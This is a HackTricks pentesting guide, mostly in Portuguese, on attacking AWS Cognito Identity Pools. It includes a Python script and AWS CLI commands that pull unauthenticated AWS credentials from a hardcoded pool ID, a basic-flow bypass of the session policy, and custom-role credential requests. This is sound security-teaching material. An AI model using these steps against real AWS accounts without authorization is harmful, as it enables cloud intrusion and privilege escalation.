Cognito Identity Pools

Support HackTricks

Basic Information

Os pools de identidade desempenham um papel crucial ao permitir que seus usuários adquiram credenciais temporárias. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:

  • Amazon Cognito user pools

  • Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple

  • Provedores compatíveis com OpenID Connect (OIDC)

  • Provedores de identidade SAML (Security Assertion Markup Language)

  • Identidades autenticadas por desenvolvedores

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Para gerar sessões de Identity Pool, você primeiro precisa gerar um Identity ID. Este Identity ID é a identificação da sessão daquele usuário. Essas identificações podem ter até 20 conjuntos de dados que podem armazenar até 1MB de pares chave-valor.

Isso é útil para manter informações de um usuário (que sempre usará o mesmo Identity ID).

Além disso, o serviço cognito-sync é o serviço que permite gerenciar e sincronizar essas informações (nos conjuntos de dados, enviando informações em streams e mensagens SNS...).

Tools for pentesting

  • Pacu, o framework de exploração da AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.

Para uma descrição das funções dos módulos, veja a parte 2 do blog post. Para instruções de instalação, veja a página principal do Pacu.

Usage

Exemplo de uso do cognito__attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Exemplo de uso do cognito__enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo criação indesejada de contas e escalonamento de pools de identidade.

Instalação

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para mais informações, consulte https://github.com/padok-team/cognito-scanner

Acessando Funções IAM

Não Autenticado

A única coisa que um atacante precisa saber para obter credenciais AWS em um aplicativo Cognito como usuário não autenticado é o ID do Pool de Identidade, e esse ID deve estar codificado no aplicativo web/móvel para que ele o utilize. Um ID se parece com isso: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (não é possível fazer brute force).

A função IAM Cognito não autenticada criada via é chamada por padrão de Cognito_<Nome do Pool de Identidade>Unauth_Role

Se você encontrar um ID de Pool de Identidade codificado e ele permitir usuários não autenticados, você pode obter credenciais AWS com:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Ou você poderia usar os seguintes aws cli commands:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Note que, por padrão, um cognito usuário NÃO AUTENTICADO não pode ter nenhuma permissão, mesmo que tenha sido atribuída via uma política. Verifique a seção a seguir.

Fluxo de Autenticação Aprimorado vs Básico

A seção anterior seguiu o fluxo de autenticação aprimorado padrão. Este fluxo define uma política de sessão restritiva para a sessão do papel IAM gerado. Esta política permitirá que a sessão use os serviços desta lista (mesmo que o papel tenha acesso a outros serviços).

No entanto, há uma maneira de contornar isso; se o pool de Identidade tiver "Fluxo Básico (Clássico)" habilitado, o usuário poderá obter uma sessão usando esse fluxo que não terá essa política de sessão restritiva.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Se você receber este erro, é porque o fluxo básico não está habilitado (padrão)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Tendo um conjunto de credenciais IAM, você deve verificar quais acessos você tem e tentar escalar privilégios.

Autenticado

Lembre-se de que usuários autenticados provavelmente terão permissões diferentes, então, se você puder se inscrever dentro do aplicativo, tente fazer isso e obtenha as novas credenciais.

Pode haver também papéis disponíveis para usuários autenticados acessando o Pool de Identidade.

Para isso, você pode precisar ter acesso ao provedor de identidade. Se for um Cognito User Pool, talvez você possa abusar do comportamento padrão e criar um novo usuário você mesmo.

O papel autenticado IAM Cognito criado via é chamado por padrão Cognito_<Nome do Pool de Identidade>Auth_Role

De qualquer forma, o exemplo a seguir espera que você já tenha feito login em um Cognito User Pool usado para acessar o Pool de Identidade (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Obtenha o identity_id da resposta do comando anterior
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# No IdToken você pode encontrar os papéis que um usuário tem acesso devido aos Grupos do User Pool
# Use o --custom-role-arn para obter credenciais para um papel específico
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

É possível configurar diferentes papéis IAM dependendo do provedor de identidade que o usuário está logado ou até mesmo apenas dependendo do usuário (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser válido fazer login e acessar os papéis IAM de todos eles.

Support HackTricks

Last updated